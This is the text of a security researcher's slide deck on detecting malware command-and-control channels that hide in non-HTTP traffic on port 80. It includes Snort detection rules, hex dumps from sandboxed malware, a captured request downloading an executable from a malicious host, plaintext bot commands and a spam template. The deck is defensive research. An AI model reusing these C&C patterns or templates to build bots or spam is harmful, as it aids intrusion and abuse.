Characteristics and Detection of HTTP C&C Channels

Alex Kirk
Senior Research Analyst
About the Sourcefire VRT

- Founded in 2001
- 20 team members
  - Core team members based in Columbia, Maryland (USA)
  - Additional offices in Seattle, Poland, Italy and Germany

- Mission
  - Provide intelligence and protection to allow our customers to focus on their core business

- Responsibilities:
  - The public face of Sourcefire in the security community
  - Producing and publishing all Sourcefire, Snort, and ClamAV protection profiles
    - SEU, Snort, VDB, ClamAV
  - Threat Intelligence and Monitoring
  - ClamAV Development
Want To Work With Us?
Malware Sandbox - Overview

- Sourcefire bought ClamAV in 2007
  - Patent trolls blocked commercialization

- What can an IDS company do with all those viruses?
  - Automate the production of real network traffic!

- Simple setup using VMWare ESXi & APIs
  - Yes, I know, not all malware runs in VMWare
  - It’s a numbers game – we get plenty of executions
Malware Sandbox - Details

- Samples run for 200 seconds each
  - Partly necessity to deal with all the new files
  - Partly that, if a virus will do something interesting on the network, it will do it fast

- Been running for over a year
  - Over 2.7 million samples analyzed
    - ~1.5 million analyzed for this paper
  - Over 1TB of network traffic generated
  - Approximately 90% of that traffic is HTTP
Night Dragon

- Everyone here has heard about “Night Dragon”, the Chinese C&C
- Tasked with writing an IDS signature for it after verifying McAfee’s work
- Interesting – pure binary data over port 80

CTS: 01 50 00 00 00 00 00 00 00 00 01 68 57 24 13
STC: 01 60 01 11 00 00 00 19 00 00 00 00 68 57 24 13
CTS: 07 8C 00 00 00 61 64 6D 69 6E 00 2D 00 00 11 00 00
CTS: 03 50 00 00 00 00 00 60 D3 A4 06 00 68 57 24 13
Wait A Minute…

- Every firewall on the planet lets you initiate an outbound port 80 connection

- You’re a proverbial “needle in a haystack”

- Researchers are busy analyzing URIs and POST data

- Why wouldn’t lots of people use this technique?
Testing The Theory

- Simple set of Snort rules:

  alert tcp $HOME_NET any -> $EXTERNAL_NET 80
  (msg:"TEST GET"; flow:established,to_server;
   content:"GET"; nocase; http_method;
   stream_reassemble:disable,both,noalert,fastpath;
   flowbits:set,valid.http; flowbits:noalert;
   classtype:misc-activity;)

  alert tcp $HOME_NET any -> $EXTERNAL_NET 80
  (msg:"TEST C&C"; flow:established,to_server;
   flowbits:isnotset,valid.http; dsize:>0;classtype:misc-activity;)

  Repeat flowbit-set for HEAD, POST, etc.
Interesting Results

Frame 5170: 374 bytes on wire (2992 bits), 374 bytes captured (2992 bits)
Internet Protocol, Src: 192.168.10.35 (192.168.10.35), Dst: 188.138.0.44 (188.138.0.44)
Transmission Control Protocol, Src Port: wag-service (2608), Dst Port: http (80),
Hypertex Transfer Protocol
Data (320 bytes)

Data: 244655434b4f46464646464646465434b4f46464646464646...
[Length: 320]
It Works!

- Sends 3 SYNs with no response to 3 machines
- Gets connection to 4\textsuperscript{th} machine, immediately sends the following two packets on port 80:

```
0000  01 02 01 01 01 02 01 91 01 00 00 00 00 00 00 00
0010  01 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00
0020  00

0000  0a 76 44 6d 86 14 63 3b fe 67 ad 29 10 72 ee 45
0010  1a 4e 2b 13 ac f0 6c 29 29 f4 0c 4e 40 26 90 4d ...
```
It Works! (Con’t)

- Server immediately responds with 8280 byte-payload:

```
0000 01 02 01 01 01 02 01 b1 1f 00 00 00 00 00 00
0010 00 e8 03 00 00 01 00 00 00 00 00 00 00 00 00
0020 00 02 9a 39 15 a2 2f d0 12 0e b2 4c 6e 2e f9 39
0030 c3 aa 2e a1 ee 7e 37 74 67 ce ec 03 55 2f e2 0b
0040 2e ed 07 b5 43 a1 17 6f fd 0f 82 ef 20 5b b5 20
0050 e3 f3 7a 9b 10 f3 4a 74 ed e5 12 67 22 56 9a 8d
...```
What Is This Stuff?

● Client request and server response start nearly identically:

```
0000  01 02 01 01 01 01 02 01 91 01 00 00 00 00 00 00
0010  01 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00
0000  01 02 01 01 01 01 02 01 b1 1f 00 00 00 00 00 00
0010  00 e8 03 00 00 01 00 00 00 00 00 00 00 00 00 00
```

● Probably a binary protocol used by the C&C
“Normal” HTTP

- Client then sends an HTTP request to the same server:

```plaintext
GET /du8Ir.htm HTTP/1.1
Host: 95.155.66.4
Content-Length: 306
User-Agent: Mozilla/4.0

01 02 01 01 01 01 02 01 11 01 00 00 00 00 00 00
01 ea 03 00 00 01 00 00 00 c2 36 00 00 63 49 00
...

- Still starts with the same protocol in the data
Marching Orders

● Server reply over HTTP follows the pattern:

```
0000 01 02 01 01 01 01 02 01 21 80 00 00 00 00 00 00
0010 01 00 00 00 00 00 01 00 00 00 3b 9a 55 7d 22 5d eb
```

● Client spends the rest of the session sending a total of 93 SYNs to mail servers
  ▸ They ignore it, proving that sometimes spam filtering works
Detection?

- Data appears totally random, so you’d have to reverse-engineer out the structure of the C&C channel to understand it
  - Yeah, like that’s happening for every channel out there
- You’d also need a detection device that could decode this stuff
  - Doesn’t play so nice at wire speeds
- Not realistic to detect this with standard IDS techniques
Even Better – Sample 2

- DNS query for ilo.brenz.pl
  - Popped up so frequently SID 18492 written for it
- Client sends off 20 bytes, then 52 more:

```
0000  b4 52 8f 2c 2a 0e 85 e1 a7 5a e4 00 89 67 b9 f5
0010  12 c2 07 5e

0000  8d 7b c3 2e 10 9f c0 5d 41 dd 42 45 bb 9a 85 24
0010  c0 74 2e a1 87 7d cb bb 6e c5 c0 dd 10 ab ea 78
0020  06 39 e2 1d 34 63 7d 71 7b cf d2 61 77 b6 4f 62
0030  91 b7 94 29
```
Sample 2 – Con’t.

- DNS query for ilo.brenz.pl
  - Popped up so frequently SID 18492 written for it
- Client sends off 20 bytes, then 52 more:

```
0000   b4 52 8f 2c 2a 0e 85 e1 a7 5a e4 00 89 67 b9 f5
0010   12 c2 07 5e

0000   8d 7b c3 2e 10 9f c0 5d 41 dd 42 45 bb 9a 85 24
0010   c0 74 2e a1 87 7d cb bb 6e c5 c0 dd 10 ab ea 78
0020   06 39 e2 1d 34 63 7d 71 7b cf d2 61 77 b6 4f 62
0030   91 b7 94 29
```
Sample 2 – Con’t.

● Server replies with 450 binary bytes:

```
0000  c0 70 e2 47 5a 2a a4 d3 8c 6d c5 49 9d 05 88 c0
0010  33 f6 4e 50 9d 73 d6 3b 12 9e d1 43 50 c3 50 46
0020  b8 14 19 ee 4a af e9 54 75 f0 7b 1c c0 71 54 5d
...```

● Client queries bb.iwillhavebigdick.com, fetches executable with minimal HTTP headers:

```
GET /kp.exe HTTP/1.0
User-Agent: Download
Host: bb.iwillhavebigdick.com
Pragma: No-Cache```
Sample 2 – Con’t.

- Tons more HTTP data transferred, on ports 255 and 80
- Appears to send config files, more binaries
- Client eventually turns into a failed spambot – has 1,054 attempted connections on port 25
- Variations on this theme from all of the samples that query for ilo.brenz.pl
- That host has existed since I started tracking in April 2010, and was being queried as late as Thursday
Sample 2 – Detection

● Actual bytes being sent are always different

07 87 3C 5E 78 5A 41 55 44 EA D9 06 C9 7A EB 50 B0 39 C3 1F

24 9F 20 12 B6 E0 9B 7A 02 BC F2 9A 7B ED 38 76 C3 DF 4A C4

3C 1B CC A8 8A 06 F7 5A F6 0D E9 95 8D 05 6B EE 5F D1 50 9E

● Could check for a 20-byte request over port 80, but the false positives would be nuts

● SID 15306 looks for EXEs over HTTP, but it has false positives, too
Sample 3 – Sneakiest of All

● Client sends 8 bytes to pre-defined IP address:
  01 00 00 00 79 4a 0b 0a

● Then sends another 198

● Server follows up with huge binary download

● Client suddenly queries mail servers for 15 different domains and starts trying to connect
Sample 3 – Detection

- Pops up 249 times in my test data

- Client requests aren’t the same:
  
  01 00 00 00 10 97 52 12
  01 00 00 00 0C 7A E4 3C
  01 00 00 00 B5 ED 46 09

- Could possibly write “8-byte request starting with 01 00 00 00 00 on port 80”, but what happens when it changes?
Sample 4 – Not Just Spam

- Client sends message starting with “xiaot” and a 4-byte little-endian length
- Server replies with similarly formatted message
- After ~20 second delay, server sends nearly identical message
- Client starts new TCP session
- After brief exchange, client sends up 79,026 byte message
- Looks like data exfiltration – IP address is in unallocated dark space!
Sample 4 – Detection

- This one’s easy – they give us a fixed string
- Never would have found it without this initial research
- Flow analysis might detect it – if you run that
- What happens when they get smart and remove that string?
Sample 5 – Straight-Up Weird

• Connection to predefined IP, client sends some machine info, then server sends...

```
0000  03 00 1e 33 02 f0 80 7f 66 82 1e 27 0a 01 00 02 ...
0010  01 00 30 1a 02 01 22 01 03 02 01 00 02 01 01 ...
0020  02 01 00 02 01 01 02 03 00 ff f8 02 01 02 04 82 ...
0030  1e 01 00 05 00 14 7c 00 01 2a 14 76 0a 01 01 00 ...
0040  01 c0 00 4d 63 44 6e 9d ea 01 0c 0c 00 04 00 08 ...
0050  00 00 00 00 00 03 0c 00 00 02 00 00 02 00 00 ...
0060  03 ee 03 00 00 02 00 ce 1d 02 00 00 02 00 00 ...
0070  00 02 00 00 00 03 0d 69 00 00 00 00 00 00 00 00 ...
0080  90 40 49 e8 5b 99 c9 74 9b e0 7a 3c 86 67 82 f6 ...
0090  02 18 c7 0b 42 fb 77 de d9 02 00 00 00 06 00 00 ...
00a0  00 16 04 00 00 03 08 82 04 12 30 82 02 fa a0 03 02 ...
00b0  01 02 02 0f 00 c1 00 8b 3c 3c 88 11 d1 3e f6 63 ...
00c0  ec df 40 30 0d 06 09 2a 86 48 86 f7 0d 01 01 04 ...
00d0  05 00 30 70 31 2b 30 29 06 03 55 04 0b 13 22 43 ...
00e0  6f 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 ...
00f0  37 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 ...
0100  2e 31 1e 30 1c 06 03 55 04 0b 13 15 4d 69 63 72 ...
0110  6f 73 6f 66 74 20 43 6f 72 70 6f 72 70 6f 72 70 ...
0120  6e 31 21 30 1f 06 03 55 04 03 13 18 4d 69 63 72 ...
0130  6f 73 6f 66 74 20 43 6f 72 70 6f 72 70 6f 72 70 ...
0140  72 69 74 79 30 1e 17 0d 39 37 30 31 31 30 31 30 ...
0150  33 31 33 31 33 31 35 17 0d 32 30 31 33 31 30 37 ...
0160  30 30 30 30 5a 30 70 31 2b 30 29 06 03 55 04 0b 13 ...
```

©Copyright (c) 1999 Microsoft Corporation
Sample 5 – Detection

- Lacks PE header, so executable transfer detection will fail

- No traffic beyond the binary/weird data transfer over port 80

- Difficult to guess at the intention of this C&C server, so hard to find other methods to detect
Plaintext C&C Channels

● Server: “ping\r\n”
  ▶ Client: “pong|Command Prompt###37313\n”

● Server commands in plaintext
  ▶ “Login\r\n”
  ▶ “<C>ipconfig /all</C>\r\n”
  ▶ “<C>net use</C>\r\n”

● Client sends KEEPALIVE\d{5}, server sends back binary – over and over and over again
Plaintext C&C Channels - Awesome

- **Client:**

  HALLO
  
  Hash: edd97f4d2dbc47dadb0600c97f2ba3c1
  
  ID: g0dll
  
  Session:
  
  Domain: NA
  
  RBL: 0
  
  Sent: 0
  
  Failed: 0
  
  Catchall: 0
Plaintext C&C Channels – Awesome (con’t)

● Server:
  CHUNK
  Session: a4fdaf2e87856aac31f72722442e13cc
  IP: XXX.214.53.100
  Keep-Alive: 13
  Max-To: 3
  Max-Threads: 20
  ProxyLock: 0
  BlockCatchalls: 0
  Clear Buffers
  Macro: 138
  PHARMACY
drugstore
wallgreens
cvs pharmacy
Plaintext C&C Channels – Awesome (con’t)

● Aha!:
Message: 391
Date: {DATE}
To: {TO}
Subject: Next Day Ship No Doc Req. {%DRUG%}, {%DRUG%}
MIME-Version: 1.0
From: {$PHARMACY$} {%M%}<{%FNAME%}{%M%}{%M%}{%DIGIT%}
{DIGIT%}{%M%}{%M%}{%M%}{%M%}@{$DOMAIN$}>
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
Message-ID: <{TB-MID}@{$DOMAIN$}>

{%DRUG%}
{%DRUG%}
{%DRUG%}

Order these and more. online now AT: {%URL%}
Plenty of Others

- Some hosts talk over UDP/80 in binary
- One host tried to send spam, failed, and then initiated a C&C request (to get new targets?)
- Client/server exchange small binary packets; server sends client’s external IP, huge list of emails in plaintext, client becomes spambot
- Client opens connections on several high ports; server sends small binary packet, client replies in binary
  - Only gets further on port 80 – drops huge EXE
- Many cases of completely opaque binary data
Stupid Bot Tricks

- Client suddenly begins sending server data after getting TCP FIN
- Client repeats process of sending same data to same server 19 times in 150 seconds – despite getting the same response every time
- Host that queries ipinfodb.com and then reports its external IP out
  ▶ Doesn’t the server already have that?
- Client queries names like www.zzzzzz.com, www.yyyyyy.com, etc. in order
  ▶ Then spews random blocks of repeating characters
Stupid False Positives

- Reasonably legitimate items
  - Unicode Yahoo Messenger?
    0000  59 00 4d 00 53 00 47 00 47 00 2e 00 2e 00 2e 00 2e 00
    0010  2e 00 3f 00 54 00 5a 00 06 73 0d 00 0a 00 96 f4 f6
    0020  f6 f6 f6 f6 f6 f6 f6 5a 52 5e f6 f6 f6 f6 f6
    0030  f6 f6 f6 f6 f6 f6 f6 f6 f6 f6 f6 f6 f6 f6 Y.M.S.G...........?.T.Z.U..s............ZR^......

  - QVOD
    0000  00 24 03 01 00 00 00 00 51 56 4f 44 30 30 36 31
    0010  36 30 90 3b 4e 42 42 45 39 42 34 6c a8 0a 78
    0020  1f 9a 03 00
    $.......QVOD0061 60903BBE9B46...x....
Really Stupid False Positives

- Cases where Snort screwed up

  GET /logo.jpg HTTP/1.1
  Accept: */*
  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
  Host: xz2.222233.com

  ▶ Connection: Keep-Alive
  ▶ You can’t guarantee the order in which rules are applied to a given packet
  ▶ If the flowbit-check rule(s) run first, you get a false positive
  ▶ Could just filter these out with a SIEM, or you could pull out the Host headers and look for nastiness
Interesting “False Positives”

- Not-so-reasonable items
  - Lots of IRC over HTTP
    NICK jeiw-1_2991_1689
    USER jeiw-1_2991_1689 "jeiw-1_2991_1689"
    "ad.kardun.com" :jeiw-1_2991_1689

  - SMTP over HTTP
    EHLO virusclone21

  - LOLWUT?
    GEU / HTTP/1.1
    Host: jdz.jxcm.cn:80
    Pragma: no-cache
    Connection: Keep-Alive
Is It Worthwhile? Tag Cloud
Is It Worthwhile? By the Numbers

- 12,238 samples found (0.8% of total)

- Includes all samples, not just ones with HTTP traffic (or traffic at all)
  - No statistics on how many samples have HTTP

- Actually a large number for what it’s doing

- Numbers could be irrelevant if you catch targeted malware
Depends On Your Network

- Simple step: put in a proxy that only allows valid HTTP requests through port 80

- Difficult step: write your own software that analyzes requests on port 80 and blocks bad

- Interesting step: put the VRT’s Razorback product (in development now) on your network and make it shut down identified bad connections
Razorback

- GPL project by the Sourcefire VRT
- Separates collection of data from analysis
  - Allows us to break out of the IDS requirement for wire-speed analytical techniques
- Data analysis done by type, so a
  - PDF
  - On a gzipped HTTP stream
  - With a flate-compressed section
  - That has obfuscated JavaScript
  - That contains shellcode
  - …actually has a chance of being detected
Contact/Follow Us

● The VRT Blog
  ▶ http://VRT-Blog.snort.org
  ▶ Technical and policy analysis

● Twitter
  ▶ ~2000 followers (VRT_Sourcefire)
  ▶ Personal account (alexgkirk)

● Labs
  ▶ http://labs.snort.org
  ▶ All the VRT cool stuff

● Email: alex.kirk@sourcefire.com